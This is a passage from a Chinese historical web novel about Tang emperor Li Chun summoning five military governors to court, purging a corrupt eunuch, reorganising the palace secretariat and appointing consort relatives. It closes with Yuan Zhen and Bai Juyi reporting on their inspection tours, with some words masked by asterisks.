白居易说:“吏治**是一方面,还有一些官员胡作非为,不执行朝廷的仁政,随意加码,巧取豪夺,很多百姓深受其害。”
李纯道:“你们说的好,官吏履职是朝廷施政的根本,如果他们不作为、乱作为,****,朝廷拿出再好的措施也没用,两位爱卿有何良策?”
元稹说:“微臣想去剑南一带进行察访,查看那里的吏治情况,如果发现****和胡乱作为的的官员,当场搜集证据,向朝廷**,让他们得到应有的惩处。”
白居易说:“微臣想去河南一带微服私访,体察民间的疾苦,找出地方上存在的弊端,找出解决问题的办法,向朝廷提供建议。”
李纯道:“两位爱卿的想法很好,朕非常支持,朕会让中书省下旨,任命元稹为剑南巡察使,对西川、东川、山南西道的吏治进行巡察,对于欺上瞒下、****的官员,彻查到底,收集证据,朝廷将严厉处置。任命白居易为河南采访使,对黄河以南各州县的施政情况进行认真的调查,对于掌握的问题,追根溯源,上书解决办法,朕将认真采纳。”
元白两人看李纯非常支持他们的想法,非常感动,均表示将认真完成朝廷赋予的使命,全力以赴,不负皇帝信任,而后领命而去。
第30章 五藩入朝
一个多月以后,山南西道节度使严砺、东川节度使韦丹、恒海节度使程执恭、昭义节度使卢从史、淮南节度使王锷,先后抵达长安,向吏部报到,等待李纯召见。
此时的吏部尚书是郑珣瑜,能力一般,但由于是老臣,对于官员的情况比较熟悉,李纯即位后,由门下侍郎改为吏部尚书。
郑珣瑜按照李纯的要求,热情招待五个节度使,五节度使入京以后,安排专门的住所,把他们好吃好喝供着。待五人到齐后,郑珣瑜通知他们,三日后皇帝在麟德殿宴请他们。
五个节度使,刚来长安时还有点琢磨不透李纯的意图,后面听说皇帝要宴请他们,悬着的心开始放下了。于是按时赴约,参加麟德殿的宴会。
前面刘辟、李锜谋反,朝廷采用军事手段手段**,但是李纯还是希望尽量使用和平的手段解决藩镇问题。
所以,他这次征召五节度使入朝,主要采取怀柔的手段,拉拢施恩,让他们向朝廷靠拢,同时也是确立一个制度,以后迫使其他节度使也要入朝,向朝廷服软。
为了显示对五个节度使的重视,除了皇帝李纯参加宴会,还有李吉甫和裴垍两个宰相,以及吏部尚书郑珣瑜,共三个重臣作陪。
李纯本崇尚节俭,但是考虑到宴请几个重要的藩镇大员,也不能太简单,宴会按照以前的规格举行,总体还算丰盛。
众人礼毕后,各自按照次序坐到自己的餐桌,李纯首先说道:“你们五个节度使,各自镇守一方,劳苦功高,朕对各位爱卿关心不够,甚感遗憾,所以特将尔等五人召至长安,以示慰问。今日,我等君臣要痛饮一番,增进君臣情谊。”
五人听后,喜出望外,连忙向李纯举杯致谢。
饮了一阵,李纯又说:“山南西道节度使严砺、淮南节度使王锷,在讨平刘辟和李锜的叛乱中,都出了大力,朕记着你们的功劳,东川节度使韦丹、恒海节度使程执恭、昭义节度使卢从史,也一直谨记臣子的职责,忠于朝廷,你们五人是各个藩镇楷模,其他藩镇要向你们学习。”
听到皇帝表扬自己,五个节度使心里美滋滋的。
李吉甫此时说话:“五个节度使对朝廷有贡献,朝廷也应该有所奖赏,目前右仆射和门下侍中空缺,臣建议把这两个官职给予愿意入朝的节度使。”
五个人一听,心里咯噔一下,这两个官职确实是高,但是入朝意味着丧失在地方上的实权,都开始踌躇起来。
李纯说道:“朕此次征召五个节度使入朝,主要就是联络一下君臣感情,是否入朝为官,要尊重个人意愿。”
听李纯这么说,五个人才放下心来。为了不至于冷场,李纯赶忙招呼几个大臣向五个节度使敬酒,活跃氛围。
在后面的宴会中,李纯表现的比较随意,和三个朝臣与五个节度使多次互敬酒水,频频交谈,多次夸赞五个节度使。
五个节度使也是想利用机会,拉近和皇帝之间的感情,除频频敬酒外,就是大说赞美奉承之语。宴会搞得很成功、很融洽。
宴会后,李纯和每个节度使一一道别,又交代郑珣瑜,让五个节度使在长安游览一番,也可探亲访友,十日后再回任上。
过了两天,李纯又召李吉甫和裴垍两个宰相进宫议事。
李纯问:“你们认为这五个节度使怎么样,是否都放他们回去?”
李吉甫答道:
“山南西道节度使严砺、东川节度使韦丹都是朝廷近来任命的,忠于职守,没有问题,恒海节度使程执恭、淮南节度使王锷,执政能力一般,但还算忠于朝廷,王锷前期还主持征讨李锜叛乱,此四人还是应该放他们回到任上,昭义节度使卢从史,我有点拿不准,感觉此人有点表里不一。”
裴垍则说:
“臣对卢从史还算有些了解,此人表面上忠于朝廷,安于职守,但是私下里和河北几个比较独立的藩镇眉来眼去、私下往来,想着两面讨好,就是一个墙头草。”
李纯听闻此言,说道:
“削藩的重点就是河北三镇,昭义镇邻近河北,位置重要,以后将是朝廷讨伐河北的前进基地,把这样的两面人放在那里,肯定不合适,必须要调回朝中任职。”
李吉甫问:“陛下看把他放在哪个位置比较合适?”
李纯考虑了一下,说道:
“门下省重设以来,门下侍中一职尚在空缺,门下省,目前主要是审议政策、收集意见,对朝廷的施政方向提出建议,重要性没那么大,节度使属于正三品,门下侍中属于从二品,这是给卢从史升官,想必他也没有意见。”
裴垍说:“就他这表现,皇上已经是给他很大的恩德了,很多地方官都想进京还不能呢。”
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李纯道:“削藩是件大事,要软硬兼施,目前使用一些怀柔手段,就是为了孤立哪些顽固分子,减少军事打击的阻力。”
李吉甫问:“至于其他四个节度使,还有其他要交代的吗?”
李纯道:“这四人都是比较忠于朝廷的,还是要施一些恩宠,赏赐一些金银玉器之类的,再褒奖一下,就让他们如期回去吧。”
五节度使入朝述职,一人升官,四人受赏回原任,自是皆大欢喜。其他观望的节度使,也放下了戒备的心理,不再对入朝心怀恐惧。
卢从史入朝以后,李纯觉得一定要派一个放心的大臣去昭义,考虑一番后决定任命韩愈为昭义节度使,用以牵制河北三镇。
御史中丞卢坦,忠诚正直,恪尽职守,他发现皇帝下令各地停止进献财物后,浙东观察使阎济美、淮南节度使王锷还是经常向宫内进献财物,宫内照收,于是向李纯**二人。
李纯下令调查,结果确有其事,于是责问李承闽:“朕不是已经下旨,停止向宫内进献财物,为何还有此事?”
李承闽有点委屈地说:
“皇上生活简朴,可是宫中其他的用度还是不少,有时还要赏赐大臣。薛总管说,如果不接受地方的进献,皇宫会入不敷出,而且淮南、浙东两地富庶,收入颇丰,收点进献也属应该。此事郭贵妃也知道,她也没有反对。”
李纯有点生气:
“朕可以节俭,宫中其他人为什么就不能做到?这个薛盈珍太自以为是了,你去找郭贵妃和他,就说把宫中没必要的开支砍掉一些,宫中没什么活的太监、宫女可以再放出一些,要量入为出,关于赏赐,朕会适当限制。以后要绝对禁止各地的进献,否则谁敢收朕就惩治谁,卢坦那边朕会跟他解释。”
李承闽诺诺遵命而去。
荆南节度使裴均,看到卢从史入朝当了门下侍中,非常眼红,紧盯空着的右仆射一职,到处活动,要求入朝。
李纯考虑到,裴均在节度使任上多年,如不妥善安置,难以体现朝廷对藩镇的怀柔措施,于是将其征召入朝为右仆射。
裴均在地方搜刮多年,手里积攒了不少财富,到处拉拢权贵,勾结宦官,作威作福,做了不少出格的事。
卢坦嫉恶如仇,非常反感他的为人,在掌握了一些情况后,向李纯**此人。
第31章 削除宦权
李纯于是派人传旨召见卢坦。只见此人不到六十,身材略瘦,昂然而入,行礼不卑不亢,颇有御史铁骨风范。
李纯问:“卢爱卿为何多次**他人,这样如何与其他官员和谐相处?”
卢坦凛然道:“看到不合规、不合法之事,**乃御史之责,如果视而不见反而是失职。”
李纯赞道:
“铮铮铁骨,敢言直谏,方为御史榜样,这点朕很欣赏。上次淮南、浙东进献财物,虽有违旨意,但也是一片忠心,故未对两人责罚,关于裴均,此人在节度使任上多年,有不少人为他说好话,朕也是想笼络地方节度使,才同意其任右仆射,你怎么又**他?”
卢坦则说:
“皇上下达的旨意和朝廷的法度就是要严格遵守,不然其他人就会以种种借口逾越。至于很多人为裴均说好话,是因为他给很多人送了好处,所以才有那么多人推荐他。他常常以宰相自居,傲视他人,做了不少出格的事,臣才**他。”
李纯问:“你说裴均给很多人送了好处,有证据吗,具体有谁?”
卢坦郑重地说:
“臣没有实证,但也是听了很多传言,收礼之人,其中就有大内总管薛盈珍,此人喜欢利用手中职权,作威作福,还与朝臣勾结,谋取私利。”
李纯当时为了削去宦官兵权,不得已才任命薛盈珍为大内总管,没想到这个人不知感恩,毫不收敛,居然重蹈刘光琦的覆辙,做出越轨的事,李纯有点怒了。
李纯问道:“薛盈珍之事,是否属实,是否还涉及其他官员?”
卢坦答道:“据臣所知,薛盈珍与其他地方官员也有来往,收了不少好处,甚至听说他还敢**宫中的经费。”
李纯道:“薛盈珍之事,我会派人调查,如属实,朕自会处理。关于裴均,从地方节度使刚入朝,不宜重处,不然其他节度使再不敢入朝了。”
卢坦说:“陛下所言极是,臣能理解皇上一片苦心。”
李纯道:“御史见到不平事,**乃分内之事,但是朕希望你也要有大局观,不仅能看到问题,也能看清问题背后的相关因素,还能找到合理的解决之法,这才是优秀的御史。”
卢坦说:“陛下说的是,前面臣还觉得陛下对那些人处理的轻,现在想来是有些鲁莽了。”
李纯道:“我朝近年来国势日衰,吏治松弛,藩镇割据,如果骤然收紧,力度太大,会引发混乱,产生副作用,有些事还是要慢慢来,逐步扭转。”
卢坦说:“陛下思虑周全,臣以后会从大局上多考虑,**更有针对性,并帮助想一些解决之法。”
李纯道:“朕还是欣赏你的,目前御史大夫空缺,朕不日将让中书省下旨,任命卢爱卿为御史大夫。卢爱卿要继续勇于任事,整顿吏治,革除朝中弊政。”
卢坦没想到李纯还给他升官,心中感激不已,连忙拜谢李纯。
卢坦走后,李纯派李承闽对薛盈珍暗中进行调查,并暗示如果拿掉薛盈珍,可以让李承闽总领宫内事务。
李承闽早就对薛盈珍不满,掌握了不少他的情况,既然皇帝让他调查,他是非常积极,联合梁守谦、王守澄等宦官一起搜集薛盈珍的罪证。
宦官内部也不是铁板一块,也有利益纷争,其他宦官对薛盈珍独享利益、作威作福,非常不满,看到皇帝要搞他,纷纷告发并提供证据。
经过调查确认,薛盈珍利用职权,经常向其他官员索要财物,很多官员慑于他的威势不得不给,薛盈珍还利用采买皇宫用品的机会,****,甚至私藏宫中物品。
李纯早就想搞掉薛盈珍,限制宦官权力,既然他自作孽,就别怪自己不客气,借机下重手。
按照宫中制度,应该将薛盈珍削去一切职务,打入大牢,李纯念其曾有拥立之功,将其赶出皇宫宦,没收财物时给他留了一点养老钱,让他回老家。
李纯认为,要解决宦官问题,必须要有理有据,分化瓦解,逐步实施,这样才能减少阻力,防止他们抱团,也不会给人留下口实。
李纯觉得,宦官三巨头全部倒台,彻底解决宦官问题的时机也成熟了,前面已经削去宦官的兵权,这次要改组内廷枢密院,让宦官无法再干预朝政。
李纯决定把内廷枢密院改为枢密院,驱逐宦官,改由朝官负责,作为自己的秘书处。枢密院主管官员为枢密使,正三品,枢密副使两人,正四品,下辖四个司。
第一个是秘书司,主要负责皇帝个人的一
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些文书,向中书省传达皇帝的意见,这就省的宰相频繁入宫,也断绝了宦官干政的机会。
第二个是廷卫司,左右神策军以后更多的将扮演中央机动作战部队的角色,廷卫司专职负责皇宫和朝廷重要场所的安全,拥有八千人。
第三个是察访司,对于一些事情进行暗中调查,避免偏听偏信一面之词,并在民间收集信息,掌握底层的实际情况。
第四个是宗正司,主要负责皇室和宗亲人员的管理,相当于皇室大管家的角色。
每个司仿照六部的司,设郎中一名,正五品,员外郎一到两名,正六品。
内廷枢密院临近宣政殿,每天晚有专人值班,有重要的事可以随时进宫禀报皇帝,皇帝一些普通的事,交给枢密院办理即可。宰相们得到了解放,不用夜间到宫中值班,可以专心处理朝中大事。
关于日常政务,由枢密院代表皇帝跟中书省对接,宦官不再参与。皇帝对外传旨,由一名宦官和一名枢密院官员同去,由宦官传旨,枢密院官员监旨,避免宦官利用出去传旨的机会徇私。
枢密使一职,李纯决定让崔群担任,此人是做秘书长的最佳人选。秘书司的郎中的人选,崔群推荐了独孤郁,李纯也知道这个人有才华,就同意了。宗正寺转隶枢密院改为宗正司,宗正寺的原来的级别较高,李纯就让正卿梁怀瑾转任枢密副使,少卿楚连庸担任宗正司郎中。
关于察访司和廷卫司的人选,李纯有自己的考虑,决定自己后面亲自考察选用。
至于皇宫内的机构,李纯决定全部整合进内侍监,专门负责皇宫内的事务,由李承闽担任总管,由郭贵妃推荐的梁守谦担任副总管。设立枢密院以后,宫内很多职权都被转移走,原来内廷枢密院的很多宦官就没啥作用了,李纯于是决定再次裁减宫内宦官、宫女的人数,力争再减两成人。
薛盈珍被驱逐,又要裁减宦官、宫女,宫女可以嫁人,宦官们怎么办。以前愿意走的宦官都走了,剩下的都是不想走的,很多宦官都哭丧着脸,纷纷找李承闽想办法。
李承闽被任命为总管,权力比以前的总管缩水不少,但也是宦官的头领,听着其他宦官的哀求,只能硬着头皮去找李纯。
第32章 遣散宫人
看到李承闽小心的走过来,又苦着脸不说话,李纯大体也猜到了他要说什么,于是打趣说道:“李公公似乎有话要说,到底是因何事发愁呀?”
李承闽悲戚的说:“皇上就不要取笑奴才了,这次又要遣散那么多人,宫女可以嫁人,宦官出宫能做啥呀,只能被人耻笑,大家都在发愁出路。”
李纯道:“我朝不少宦官,利用皇帝的宠信,掌握大权、干预朝政,做了不少坏事,朕重设枢密院,朕也是不想让你们有干政犯错的机会。”
李承闽哀求着说:“奴才们哪还敢做坏事,现在想有口饭吃就很知足了。”
李纯认真地说道:
“朕是限制你们的权力,又不是对你们赶尽杀绝,朕想好了,枢密院四个司,其他三个司你们去不合适,秘书司处理的事和以前内廷枢密院的事务相似,里面的普通工作人员可安排一部分熟悉业务的出宫宦官担任,宦官年老退休后,再更替为普通人担任。”
李承闽转忧为喜道:“还是皇上考虑周全,要出宫的宦官很多,秘书司也安排不了多少人,那些没文化的宦官怎么办?”
李纯早有准备:
“宫内和秘书司按照实际需要,安置有能力办事的宦官,其他多余的宦官,可以分成两个部分。现在郭云的火器场要扩大,前天跟我禀报说要招人,这次干脆就不要招其他人了,全部用宫内的宦官,火器场内都是手艺活,能干、愿干的全部去他那里。剩下的组成一个冗杂组,就由梁守谦负责,在宫中负责一些杂事。后面宫内和诸王都不要再招太监,如有空缺,就由冗杂组人员补充,待冗杂组人员安置完毕后,宫内和各王府才能新招宦官。”
李承闽连忙跪下谢道:“皇上英明,为我们全考虑到了,奴才替所有宦官谢陛下鸿恩。”
李纯说道:
“朕从来没有不喜欢过宦官,朕不喜欢的是宦官制度,太宗时期,就已经不让宦官领军、干政,前面都执行的很好,没人恨宦官。但是自玄宗起,特别是肃宗、代宗以来,宦官领禁军,参与皇帝废立,干预朝政,逐渐尾大不掉,为朝野所恨。包括这个薛盈珍,居然敢在朕的眼皮底下勾连朝臣、贪赃枉法,朕若是狠辣之人,他的命早就没了。”
李承闽献媚道:“皇上设计的这个制度好,不掌兵,不干政,以后奴才们就安心伺候皇上和宫中的嫔妃们。”
李纯笑道:“我看你有点言不由衷呀。”
李承闽连忙低头,不好意思的笑了笑。
李纯又道:
“朕也不是完全排斥宦官,设立枢密院的本意既是分权,但也要相互牵制,不然让他们独大也不好,枢密使由崔群担任,副使有两个,其中一个由你来兼任,主要负责皇宫和枢密院之间的联络,以后涉及皇室的事务你们只能和枢密院联系,不准再接触其他朝臣,需要跟朝臣对接的事,全部转移给枢密院。”
没想到李纯还想着自己,李承闽心里一热,赶忙磕头谢恩。
李纯让他起来,接着说:“哪些人去秘书司,哪些人去火器场,你去找郭贵妃和崔群商议确定,宫内岗位和冗杂组的人员就以郭贵妃意见为主,事后由你禀报我同意就好。”
当天晚上,李纯来到郭贵妃的寝宫蓬莱殿。郭贵妃连忙笑脸相迎,欣喜的说:“皇上最近操劳政务,今天终于有空来看臣妾了。”
李纯道:“今天有些乏了,让人给我按一下。”
郭贵妃知道他操劳朝政、批改奏折,容易头昏颈酸,连忙安排两个善于按摩的宫女,给李纯敲打按摩一番。
按的有半个时辰,李纯觉得好多了,就让郭贵妃弄饭吃。郭贵妃早就通知御膳房准备了,端菜上来。
李纯素来节俭,但是对宫里只是提倡节俭,总体有所约束,对待各嫔妃要求不是很严,对待诸王、大臣也不苛责,只要他们不过分,李纯很少干预。
平时如果李纯自己吃饭,一般也就几个普通菜,如果到了各嫔妃那里,可以根据各嫔妃的喜好,加几个特色菜。菜上齐以后,李纯就随口吃了起来。
郭贵妃说道:“陛下日理万机,操劳国事,但是日常饮食用度较为节俭,我们几个嫔妃没做什么贡献,平时吃用反而比陛下好,心里有点不安呀。”
李纯坦诚地说:
“人生在世,大部分人想的都是荣华富贵,这是人之常情,不然你们进宫图什么,那些大臣当官图什么?朕虽然喜欢节俭,但是不强求别人也要跟从,其他人适当合理的享受,朕是认可的,朕反对的是穷奢极欲,**腐化,糟蹋民脂民膏。”
郭贵妃说:“臣妾知道皇上胸怀大志,约束自己的欲望,把精力都用在振兴大唐上,但
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是臣妾也心疼皇上,所以斗胆多加了几个比较好的菜。”
李纯道:“朕可以苦,那是为了干大事,但是哪能让跟随自己的人也吃苦,那就失去了意义,你准备的饭菜很好,朕也跟着享受了一把,但是以后注意菜品不要追求珍奇,味道可口就可以了。”
郭贵妃说:“当初臣妾默认了薛盈珍接受外官的进献,被御史**,你让人停止了,你虽没有责怪臣妾,臣妾心里还是有点惴惴不安,今日多加几个菜,还怕你批评呢。”
李纯道:“人非圣贤孰能无过,收取外官进献的事,主要责任在薛盈珍,你以后也要注意,皇宫再苦能苦到哪里,那些所谓进献都会增加百姓的负担,朕作为皇帝,要给天下作好表率,你能理解纠正就好,不必介怀。”
郭贵妃说:“其实稍微节约一些,宫里的开支可以省下很多,不必接受各地的进献。”
李纯道:“你们正常的开支,我不干预,但是不能再有铺张浪费的行为,宫里的宦官你要管严一些,不能再有贪赃枉法,私藏宫物的行为。”
郭贵妃说:“有些狗奴才真是胆大妄为,敢在宫里乱来,我准备在宫里成立一个内卫处,让王守澄负责,抓好宫内的规矩和秩序,发现并处理有违反宫规的宦官、宫女,对这些人进行严惩,不信治不了他们。”
李纯道:“我平时忙于朝政,宫里的事你看着办,李宥的学业你也要抓一抓,我看他太贪玩,以后如何能够继承大业?”
郭贵妃说:“这孩子确实有些贪玩,我说过他几次,他也不听,我后面让他的师傅管理严格一些。”
李纯道:“女儿庄淑倒是不错,乖巧听话,两个孩子的教育你要多操心,今天我要跟你谈的是宫内人员重组的事。”
郭贵妃说:“小李子跟我已经报告了,我觉得陛下的办法很好。”
李纯道:“宫里的事,我就管个大方向,你是后宫的主事人,一些具体的事要多操心,小李子虽然机灵,但是也不要放权太多,**力大了,欲望就会膨胀,就容易犯错。”
郭贵妃说:“好,秘书司那边,我会挑一些有文化,有办事能力的太监过去,再选拔一批体力好的宦官去火器场,宫内这边我会征求各嫔妃的意见,根据各人的特长,给予合适的岗位。剩下的一些就编到冗杂组去。”
第33章 慎用外戚
李纯道:“嗯,这很好,具体就由你来费心了,你是不是有个哥哥叫郭钊,他的能力如何?”
郭贵妃说:“对,他现在任太子右庶子,正五品,也就是一个虚职,没什么具体事可忙。”
李纯说道:
“左右神策军以后要成为机动作战部队,成为削藩的主战部队,我在枢密院成立了廷卫司,准备让他去做郎中,兵力会有八千人,主管皇宫和皇帝出行的安全保卫工作,可以把他平调过去,还是正五品,但是任务更重了。”
郭贵妃说:“皇上对我们郭家太好了,前面重用了郭云,这次又把我哥放在这么重要的岗位上,臣妾感激涕零,只是外人会不会说什么?”
李纯则说:
“历朝以来,大家对外戚干政,都比较忌惮,但是古今情况不一样,以前那些外戚仗着权势,任丞相、大将军之类的,干预朝政。我用的你这两个兄弟,都是五六品的小官,干的都是具体事,算不上干政。朝廷的保卫工作,官虽小责任大,用一般人不放心,皇族的人担任,容易被其他有野心的诸王利用。你们郭家是忠良之后,善于治军,朕思来想去觉得你哥郭钊最合适。”
谈完这些,当晚李纯和郭贵妃好好温存了一番。
郭妃这边来了,纪妃那边也不能不去,毕竟她是长子李宁的母亲,李宁聪明爱学,深得他的喜爱,对这个妃子也要照顾一下。经过谈话得知,纪妃有个哥哥叫纪奎,目前在凤翔节度使下属的部队里,任七品武官。
后面李纯又派人到凤翔打听,反映此人还不错,聪明能干,上下对他的口碑还不错。于是派人将其召进宫来,又是一番谈话,觉得还算合适,最后决定任命其为察访司员外郎,也就是察访司的副职,定为六品官。
给自己的哥哥升官,纪妃赶紧让贴身宫女邀请李纯过去,设宴款待,说了很多好话,晚上又是一番温存。
两个妃子都去了,刘嫔那边也不能不管呀。
刘嫔人虽然长得漂亮,但是没什么文化和见识,思维层次比较低,李纯不怎么喜欢他,但是毕竟也是自己的老婆,偶尔也是要来走动一下,顺便也看一下自己的二儿子李恽,李恽比较老实内向,学习也一般,但李纯也会经常关心他。
刘嫔出身于社会的底层,家里**都没什么文化,也没有人当官,最后多方打听,挑了刘嫔一个稍微有点文化的,办事机灵的堂兄刘士瑜。李纯按照唐朝的门荫制度,在宗正司给他一个九品的小官,算是照顾了。
家里有人沾光当官,刘嫔自然高兴,也派贴身宫女邀请李纯过去,吃喝慰劳一顿,后面又是温存一晚。
这些天,李纯白天操心选人,晚上又要交公粮,真是累的够呛,足有五六天没有再去后宫那边。陪三个老婆都让自己这么辛苦,要是真搞个三宫六院七十二妃,自己还不累死?
李纯觉得作为君主,既要有宏图伟愿,干一番大事业,造福百姓,但是也不能冷落了身边人。
古代孟子和墨子有过仁爱和兼爱的讨论,孟子主张由近及远推行仁爱之心,墨子主张对所有人推行无差别的兼爱之心。事实表明人都是有亲疏远近的,要做到无差别的兼爱是很难的,这也是儒家最终胜过墨家的原因。
李纯记得史书上说,清官海瑞非常注重名声,对待亲人很严苛,女儿因为偷吃了别人的饼,被他关起来饿死,小妾因为和母亲吵架,被他逼得上吊。
戏曲里说,包公当官的侄子被人诬告,**携带了好几箱金银回家,包公对自己的亲人**非常恼怒,没有深入调查就命人将他铡了,后面发现箱子里都是石头。
李纯认为为君为官,造福百姓是好事,但是不能为清名所累,更不能苛待亲人,难道亲人就不属于百姓的行列?对待亲人还不如那些不相识的百姓?
李纯赞赏有些官员坚守公正廉洁、倾心为民的好官,但是他不认同一些官员为了博取清名的极端做法。
李纯觉得,做人难,难就难在怎么在各种关系中寻找一个合适的平衡点,不走极端、不甩责任,在处理亲疏远近人员的关系上把握一个合适的度,让各方面都能认可。
为了选这三个外戚人员的岗位,李纯大费周章,仔细考察,才根据他们的级别和能力,做出这样的安排。
该照顾的要照顾,但也要对这些人进行严格的管理,绝对不能让他们忘乎所以,做出越轨的事情。想到这里,李纯让人召给事中吕元膺进宫议事。
给事中吕元膺只是一个正六品的小官,被李纯召进宣政殿,非常意外,搞不清是什么情况,进来赶忙磕头行礼。
李纯道:“吕爱卿请起,在我的印象里,朕即位前你就已经是给事中了,在这个位置上有五年了吧。”
吕元膺没想到李纯居然这么知道他的情况,起身回答道:“微臣在给事中位置上已经干了四年零九个月了,不知陛下召臣前来,所为何事?”
李纯道:“其
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实朕一直在关注你,你上过几个奏折,内容都很有见地,你平时为人刚正,做事勤勉,总体不错。”
吕元膺更感意外,连忙说:“陛下谬赞了,这些都是为臣的本分。”
李纯道:“朕一直都在挖掘人才,放到合适的岗位上,帮朕处理一些事情,不知吕爱卿可愿为朕分忧?”
吕元膺知道应该是好事,连忙说:“能为陛下做事是微臣的福分,微臣任凭陛下差遣。”
李纯道:“朕重新组建了枢密院,内设察访司,主要是帮朕查探核实一些事情,让朕更加全面真实地掌握一些信息,不至于被人蒙蔽,朕看你颇有能力,欲委任你为正五品的察访司郎中一职。”
吕元膺赶忙跪下磕头说:“陛下如此看重微臣,微臣感激万分。”
李纯道:“起来吧,察访司的职责有三个,一是监督皇室和外戚人员,还有宦官,二是调查核实一些有争议、有疑虑的重要事务,三是帮朕打探搜集一些消息,避免朕不通下情。”
吕元膺说:“不知陛下要微臣做哪些事?”
李纯道:“察访司目前设郎中一名,员外郎一名,你来做郎中,主要是做前两件事,员外郎纪奎做第三件事。”
吕元膺说:“请问陛下对微臣的工作有什么要求?”
李纯道:“你也知道历朝都有宗室、外戚干政引发祸患的事,一个最重要的原因就是缺乏监督,导致他们仗势欺人、为所欲为,朕不想自己的亲人也会这样,用你就是监督、敲打、约束他们。还有宦官,你也要帮朕盯紧一些,如果发现有不法行为,你就大胆处理。”
吕元膺说:“微臣性格刚正,怕是会得罪不少亲贵。”
李纯道:“朕选中你,就是看重你的刚正率直,也知道你有办事的能力,朕没工夫天天看着他们,你来替朕监督约束,如果遇到阻力,直接禀报与朕,朕来帮你排除障碍。”
吕元膺说:“恕臣直言,陛下刚任用三个外戚为官,这时又说要敲打约束,微臣有点拿不住方向。”
李纯叹道:
“你还真是直肠子,朕也是人,也会关心自己的亲人,宗室人员都有爵位,地位和收入都不低,但是外戚呢,只能靠给个官职,来彰显恩德。不管是宗室和外戚,可以享受朝廷的恩赐,但是也要遵守法度。如果朕平时不管,如果哪天他们犯了大罪,如果杀,朕的内心很难受,如果不杀,天下人会寒心。让你来察访司,就是帮朕解这个忧。”
第34章 任用元白
吕元膺说:“陛下为了处理亲情,也是费了很多苦心,微臣一定会把这个事情办好。”
李纯推心地说:
“他们三个外戚都是中下级官员,以后也不会放到非常重要的岗位,宗室也好,外戚也好,如果感念朝廷的恩德还好,如果有胡作非为、滋扰百姓的情况,你们察访司早发现、早处理,不能等到他们骄纵不法、恶贯满盈的时候,让百姓生怨,让朕难堪。以前的宦官之祸你也知道,朕现在虽然限制了他们的权力,但是难免还会有人犯错误,你要帮助朕管住他们。”
吕元膺说:“陛下殚精竭虑,思虑周全,臣知道该怎么做了,臣以后加强对他们的监督,防微杜渐,不至于到违法的地步。”
李纯觉得,作为君主,既要想办法为天下千千万万的黎民百姓造福,还要平衡和处理好身边这些人的事情,很多事都要兼顾到,不能出现失衡的问题。
元稹虽然年轻,但是自视甚高,很有抱负,这次以剑南巡察使的身份出巡,就想着大刀阔斧的干一番。他带领属员从长安往南出发,一路上对西川、东川、山南西道的吏治进行明察暗访,走**间,收集情况,纠治奸邪,逢贪必查。
元稹的高调反腐,搞得三个地方的官员很紧张,有的官员为了逃脱罪责,向他**,一概拒收;有的官员通过朝中官员或熟人向他打招呼,一概不理;有的官员以权贵靠山,向他施压,一概不管。
元稹连续出击,搜集不少证据,揪出了不少尸位素餐、**腐化的官员,真是在剑南三道的官场搞了一场地震。元稹把巡察的情况向朝廷奏明,提议对涉事官员进行严惩,对地方官员形成了很大的震慑。
元稹此行不仅奉旨反贪,还捎带了一下私货。元稹本就是一个风流才子,听闻成都的薛涛是当朝第一才女,又是出名的美女,便顺道过去拜访。
薛涛本为西川节度使下属的歌妓,以前受到韦皋的垂青,现在已经年近四十,但是半老徐娘,风韵犹存,依然吸引不少达官显贵慕名而来。
薛涛也久闻元稹的才气,两人一见投缘,你侬我侬,郎情妾意缠绵了一番,元稹又多了一笔风流债。
白居易则相对低调很多,他带着几个随从,一身便服,从洛阳出发,一路向东,对黄河以南各州县的情况进行收集。他不露身份,和几个随从以普通百姓的身份,察访情况,收集信息,了解百姓的疾苦,探寻治理地方的办法。
由于河南地区藩镇割据也很厉害,连年战争,老百姓生活也是很苦。不少青壮被拉去当兵,很多家庭只能是妇女老少来负责耕种,收获的大部分又被官府和地主豪强掠夺了去。很多人不堪忍受,跑到了岭南、福建一带生活,形成了大量的逃亡人口。
淮西节度使吴少阳、平卢节度使李师道在河南称霸一方,大肆搜刮,拥兵自重,对朝廷的稳定形成较大威胁。白居易通过察访,搜集了他们不少罪证,准备回去以后送给朝廷,让朝廷早下决心,解决这两个藩镇,为民除害。
宣武节度使韩弘,还有其他几个较小的节度使,虽然总体上服从朝廷,但是在辖区内也拥有极大的权力,对百姓的聚敛也不小。
而且这几个节度使借着帮助朝廷对抗吴少阳、李师道的名义,经常向朝廷要钱要粮,给朝廷造成较大的负担。
过了三个月多月,元稹、白居易先后回长安报告工作,李纯也想跟他们了解一下他们所经历的情况,于是在宣政殿召见他们。
李纯首先说道:“朕听说你们二人此次办差,一个雷厉风行,一个暗中查访,今日就把取得的成果说来给朕听听。”
元稹答道:“此次前去剑南三道巡查整治吏治,没想到情况是触目惊心,官员****的情况很严重。”
李纯道:“自安史之乱后,各地藩镇割据,朝廷对地方的控制减弱了,一些地方官开始专横跋扈,肆意妄为,很多朝廷的律令都不怎么遵守了。”
元稹说:“很多地方的州县,简直就是一个小的独立王国,除了缴纳一部分赋税给朝廷,其他的就是地方官说的算,巧立名目,随意加税,老百姓苦不堪言,臣狠狠惩治了一批贪腐之人。”
李纯道:“你那是剑南三道,属于比较服从中央的,还交一些赋税给中央,你也可以惩治一些人,白居易去的河南可就不一样了。”
白居易说:“陛下说的是,河南的藩镇明显比剑南的霸道,各个拥兵自重,肆意搜刮,百姓苦不堪言,其中以吴少阳、李师道为甚,臣为了查访真实情况,也没有亮明身份,主要以暗访调查为主。”
元稹说:“对那些奸邪之辈,就要施以重典,不然就不会知道敬畏朝廷,收敛行为。”
李纯道:“有个性
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、有闯劲是好事,但是操之过急也会坏事,我这次派白爱卿去河南查访,一个是了解民情,还有一个就是了解河南几个藩镇的情况,为后面解决藩镇问题提供思路。”
白居易认真地说:
“河南主要有三个比较强的藩镇,一是淮西节度使吴少阳,二是平卢节度使李师道,三是宣武节度使韩弘。其中吴少阳和李师道都是有独立的野心,截留赋税,豢养私兵,各自拥有强大的军队,是必须拔出的钉子。韩弘实力和他们差不多,但是由朝廷任命的,对朝廷还算忠心,而且宣武位于淮西和平卢之间,对于阻断两地联系很重要。其他藩镇要么比较弱小,要么为朝廷控制,问题虽然不大,但是给朝廷造成的负担很重。”
李纯闻此说道:
“嗯,你说的情况很重要,韩弘那边我会派人沟通,其他藩镇暂时先不动,听说成德的王士真已经生病一年了,还不见好,如果他**,儿子王承宗势必要强行接任节度使,倒是一个在河北削藩的机会。”
元稹说:“臣以为,整治吏治和削藩可以同时进行、两手齐抓。”
李纯觉得元稹想的有点简单了,于是说:
